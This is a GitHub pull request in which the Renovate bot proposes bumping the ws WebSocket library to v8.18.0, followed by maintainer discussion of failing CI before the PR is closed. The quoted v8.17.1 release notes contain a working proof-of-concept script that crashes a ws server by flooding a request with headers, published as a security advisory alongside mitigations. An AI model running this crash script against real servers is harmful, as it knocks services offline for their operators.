Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency ws to v8.18.0 #6182

Closed
wants to merge 1 commit into from
Closed

Update dependency ws to v8.18.0 #6182

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Jul 3, 2024

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.16.0 -> 8.18.0 age adoption passing confidence
@types/ws (source) 8.5.10 -> 8.5.11 age adoption passing confidence

Release Notes

websockets/ws (ws)

v8.18.0

Compare Source

Features

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.


Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

@renovate renovate bot force-pushed the renovate/ws-8.x branch 30 times, most recently from 5ba9161 to 4002e73 Compare July 10, 2024 12:36
@renovate renovate bot force-pushed the renovate/ws-8.x branch 13 times, most recently from 1be1546 to 0ac9d4c Compare July 14, 2024 01:27
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 0ac9d4c to bfdbefb Compare July 14, 2024 04:25
@G-Rath
Copy link
Contributor

G-Rath commented Jul 15, 2024

@pubkey would it be possible to get this landed? I expect this is just failed on a flakey test so a rerun of CI should unblock it 🙏

@pubkey
Copy link
Owner

pubkey commented Jul 15, 2024

@G-Rath I restarted the CI several times but this seems to constantly fail.

@G-Rath
Copy link
Contributor

G-Rath commented Jul 15, 2024

@pubkey hmm that is weird, given that this is a patch update to address a security update - I cant see why the test is failing 🤔

@pubkey
Copy link
Owner

pubkey commented Jul 15, 2024

Maybe this: websockets/ws#2239
I will stop this PR to not trigger the CI on all master changes.

@pubkey pubkey closed this Jul 15, 2024
@pubkey
Copy link
Owner

pubkey commented Jul 15, 2024

Related: #6106

Copy link
Contributor Author

renovate bot commented Jul 15, 2024

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (8.18.0). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

@renovate renovate bot deleted the renovate/ws-8.x branch July 15, 2024 09:50
@G-Rath
Copy link
Contributor

G-Rath commented Jul 15, 2024

@pubkey I'm not sure why you think websockets/ws#2239 is possibly the issue, as the error I'm seeing in CI is a specific test timing out and it looks like that was happening in #6072 which is before the underlying feature that issue is about was released (and ironically 8.17.1 is the version with the security patch)

@G-Rath G-Rath mentioned this pull request Sep 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants